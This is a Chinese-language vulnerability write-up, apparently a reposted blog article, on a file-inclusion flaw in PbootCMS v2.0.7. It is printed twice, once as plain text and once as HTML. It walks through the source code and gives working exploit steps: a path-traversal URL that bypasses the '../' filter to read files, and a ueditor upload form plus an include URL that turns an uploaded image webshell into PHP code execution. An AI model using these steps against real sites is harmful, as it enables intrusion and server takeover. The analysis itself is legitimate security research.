发表时间:2021-07-09 17:04:34 来源:红帽社区 浏览:
次 【
大】【
中】【
小】
0x00 漏洞描述
版本:v2.0.7
1、文件读取:是通过include 包含文件,所以不可以读php文件。
2、后台GETSHELl:是通过前面的文件包含来组合getshell。
0x01 文件包含
文件:/apps/home/controller/SearchController.php
方法:index
public function index()
{
$searchtpl = request('searchtpl');
if (! preg_match('/^[\w\-\.\/]+$/', $searchtpl)) {
$searchtpl = 'search.html';
}
$content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
//……
echo $content; // 搜索页面不缓存
exit();
}
1、获取searchtpl并赋值到$searchtpl变量,下面这个正则没看懂是啥意思。
2、带入parent::parser 类方法,跟进。
文件:/core/basic/Controller.php
final protected function parser($file)
{
$view = View::getInstance();
return $view->parser($file);
}
1、获取View的实例
2、把传入的变量带入view−>parser(file);方法,跟进。
文件:/core/view/View.php
// 解析模板文件
public function parser($file)
{
//……
$theme = preg_replace('/\.\.(\/|\\\)/', '', $theme); // 过滤掉相对路径
$file = preg_replace('/\.\.(\/|\\\)/', '', $file); // 过滤掉相对路径
if (strpos($file, '/') === 0) { =
//……
} elseif (! ! $pos = strpos($file, '@')) {
//……
} else {
// 定义当前应用主题目录
define('APP_THEME_DIR', str_replace(DOC_PATH, '', APP_VIEW_PATH) . '/' . $theme);
if (! is_dir($this->tplPath .= '/' . $theme)) { // 检查主题是否存在
error('模板主题目录不存在!主题路径:' . APP_THEME_DIR);
}
$tpl_file = $this->tplPath . '/' . $file; // 模板文件
}
//……
file_exists($tpl_file) ?: error('模板文件' . APP_THEME_DIR . '/' . $file . '不存在!' . $note);
$tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php'; // 编译文件
// 当编译文件不存在,或者模板文件修改过,则重新生成编译文件
if (! file_exists($tpl_c_file) || filemtime($tpl_c_file) < filemtime($tpl_file) || ! Config::get('tpl_parser_cache')) {
$content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错!请检查目录是否有可写权限!'); // 写入编译文件
$compile = true;
}
ob_start(); // 开启缓冲区,引入编译文件
$rs = include $tpl_c_file;
//……
$content = ob_get_contents();
ob_end_clean();
return $content;
}
- 通过正则过滤替换掉$file变量里的…/,可通过…//绕过。
- if语句对模版目录进行判断,不管进入哪个分支都会通过拼接file生成一个tpl_file 变量。
- 判断$tpl_file 文件是否存在。不存在报错。
- $tpl_c_file = this−>tplcPath.′/′.md5(tpl_file) . ‘.php’;
- $tpl_c_file 文件不存在重新写出文件。
- $rs = include $tpl_c_file;
- 获取content、返回content
- 会到index方法解析并输出$content。
- 文件包含读取完成。
0x02 后台GETSHELL
简述:后台GETSHELL的话就是利用后台的图片上传功能上传一个图片马,通过文件包含来执行PHP代码。
0x03 漏洞利用
文件读取
http://pboot.test/?keyword=12&searchtpl=…/./…//…//…//…//…//…//…//…//…//…//python27/news.txt
后台GETSHELL
1、管理员权限
2、通过ueditor上传文件
<form action="http://pboot.test/core/extend/ueditor/php/controller.php?action=uploadfile" method="post" enctype="multipart/form-data">
<p>< input type="file" name="upfile"></p>
<p>< input type="submit" value="submit"></p>
</form>
3、执行PHP代码
拿到上传的图片路径
/static/upload/file/20200425/1587803636871800.png
http://pboot.test/?keyword=12&searchtpl=…//…//…///static/upload/file/20200425/1587803636871800.png
4、后台GETSHELL完成。
<h2><a id="0x00__0"></a>0x00 漏洞描述</h2>
<p>版本:v2.0.7<br />
1、文件读取:是通过include 包含文件,所以不可以读php文件。<br />
2、后台GETSHELl:是通过前面的文件包含来组合getshell。</p>
<h2><a id="0x01__5"></a>0x01 文件包含</h2>
<p>文件:/apps/home/controller/SearchController.php<br />
方法:index</p>
<pre><code>public function index()
{
$searchtpl = request('searchtpl');
if (! preg_match('/^[\w\-\.\/]+$/', $searchtpl)) {
$searchtpl = 'search.html';
}
$content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
//……
echo $content; // 搜索页面不缓存
exit();
}
</code></pre>
<p>1、获取searchtpl并赋值到$searchtpl变量,下面这个正则没看懂是啥意思。<br />
2、带入parent::parser 类方法,跟进。</p>
<p>文件:/core/basic/Controller.php</p>
<pre><code class="lang-//"> final protected function parser($file)
{
$view = View::getInstance();
return $view->parser($file);
}
</code></pre>
<p>1、获取View的实例<br />
2、把传入的变量带入<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>v</mi><mi>i</mi><mi>e</mi><mi>w</mi><mo>−</mo><mo>></mo><mi>p</mi><mi>a</mi><mi>r</mi><mi>s</mi><mi>e</mi><mi>r</mi><mo>(</mo></mrow><annotation encoding="application/x-tex">view->parser(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.75em;"></span><span class="strut bottom" style="height:1em;vertical-align:-0.25em;"></span><span class="base"><span class="mord mathit" style="margin-right:0.03588em;">v</span><span class="mord mathit">i</span><span class="mord mathit">e</span><span class="mord mathit" style="margin-right:0.02691em;">w</span><span class="mord">−</span><span class="mrel">></span><span class="mord mathit">p</span><span class="mord mathit">a</span><span class="mord mathit" style="margin-right:0.02778em;">r</span><span class="mord mathit">s</span><span class="mord mathit">e</span><span class="mord mathit" style="margin-right:0.02778em;">r</span><span class="mopen">(</span></span></span></span>file);方法,跟进。</p>
<p>文件:/core/view/View.php</p>
<pre><code>// 解析模板文件
public function parser($file)
{
//……
$theme = preg_replace('/\.\.(\/|\\\)/', '', $theme); // 过滤掉相对路径
$file = preg_replace('/\.\.(\/|\\\)/', '', $file); // 过滤掉相对路径
if (strpos($file, '/') === 0) { =
//……
} elseif (! ! $pos = strpos($file, '@')) {
//……
} else {
// 定义当前应用主题目录
define('APP_THEME_DIR', str_replace(DOC_PATH, '', APP_VIEW_PATH) . '/' . $theme);
if (! is_dir($this->tplPath .= '/' . $theme)) { // 检查主题是否存在
error('模板主题目录不存在!主题路径:' . APP_THEME_DIR);
}
$tpl_file = $this->tplPath . '/' . $file; // 模板文件
}
//……
file_exists($tpl_file) ?: error('模板文件' . APP_THEME_DIR . '/' . $file . '不存在!' . $note);
$tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php'; // 编译文件
// 当编译文件不存在,或者模板文件修改过,则重新生成编译文件
if (! file_exists($tpl_c_file) || filemtime($tpl_c_file) < filemtime($tpl_file) || ! Config::get('tpl_parser_cache')) {
$content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错!请检查目录是否有可写权限!'); // 写入编译文件
$compile = true;
}
ob_start(); // 开启缓冲区,引入编译文件
$rs = include $tpl_c_file;
//……
$content = ob_get_contents();
ob_end_clean();
return $content;
}
</code></pre>
<ol>
<li>通过正则过滤替换掉$file变量里的…/,可通过…//绕过。</li>
<li>if语句对模版目录进行判断,不管进入哪个分支都会通过拼接file生成一个tpl_file 变量。</li>
<li>判断$tpl_file 文件是否存在。不存在报错。</li>
<li>$tpl_c_file = <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>t</mi><mi>h</mi><mi>i</mi><mi>s</mi><mo>−</mo><mo>></mo><mi>t</mi><mi>p</mi><mi>l</mi><mi>c</mi><mi>P</mi><mi>a</mi><mi>t</mi><mi>h</mi><msup><mi mathvariant="normal">.</mi><mo mathvariant="normal">′</mo></msup><msup><mi mathvariant="normal">/</mi><mo mathvariant="normal">′</mo></msup><mi mathvariant="normal">.</mi><mi>m</mi><mi>d</mi><mn>5</mn><mo>(</mo></mrow><annotation encoding="application/x-tex">this->tplcPath . '/' . md5(</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.751892em;"></span><span class="strut bottom" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="base"><span class="mord mathit">t</span><span class="mord mathit">h</span><span class="mord mathit">i</span><span class="mord mathit">s</span><span class="mord">−</span><span class="mrel">></span><span class="mord mathit">t</span><span class="mord mathit">p</span><span class="mord mathit" style="margin-right:0.01968em;">l</span><span class="mord mathit">c</span><span class="mord mathit" style="margin-right:0.13889em;">P</span><span class="mord mathit">a</span><span class="mord mathit">t</span><span class="mord mathit">h</span><span class="mord"><span class="mord mathrm">.</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight">′</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathrm">/</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight">′</span></span></span></span></span></span></span></span></span><span class="mord mathrm">.</span><span class="mord mathit">m</span><span class="mord mathit">d</span><span class="mord mathrm">5</span><span class="mopen">(</span></span></span></span>tpl_file) . ‘.php’;</li>
<li>$tpl_c_file 文件不存在重新写出文件。</li>
<li>$rs = include $tpl_c_file;</li>
<li>获取content、返回content</li>
<li>会到index方法解析并输出$content。</li>
<li>文件包含读取完成。</li>
</ol>
<h2><a id="0x02_GETSHELL_88"></a>0x02 后台GETSHELL</h2>
<p>简述:后台GETSHELL的话就是利用后台的图片上传功能上传一个图片马,通过文件包含来执行PHP代码。</p>
<h2><a id="0x03__92"></a>0x03 漏洞利用</h2>
<p>文件读取<br />
http://pboot.test/?keyword=12&searchtpl=…/./…//…//…//…//…//…//…//…//…//…//python27/news.txt<br />
<img src="https://www.redhatzone.com/img/sin/M00/00/25/wKg0C16miM-AWKhLAAB6fcsSzcY641.png" alt="121.png" /></p>
<p>后台GETSHELL<br />
1、管理员权限<br />
2、通过ueditor上传文件</p>
<pre><code class="lang-"><form action="http://pboot.test/core/extend/ueditor/php/controller.php?action=uploadfile" method="post" enctype="multipart/form-data">
<p>< input type="file" name="upfile"></p>
<p>< input type="submit" value="submit"></p>
</form>
</code></pre>
<p>3、执行PHP代码<br />
拿到上传的图片路径<br />
/static/upload/file/20200425/1587803636871800.png</p>
<p>http://pboot.test/?keyword=12&searchtpl=…//…//…///static/upload/file/20200425/1587803636871800.png</p>
<p>4、后台GETSHELL完成。</p>
<p><img src="https://www.redhatzone.com/img/sin/M00/00/25/wKg0C16miCGAfcrwAABokVld_gg574.png" alt="121.png" /></p>
责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。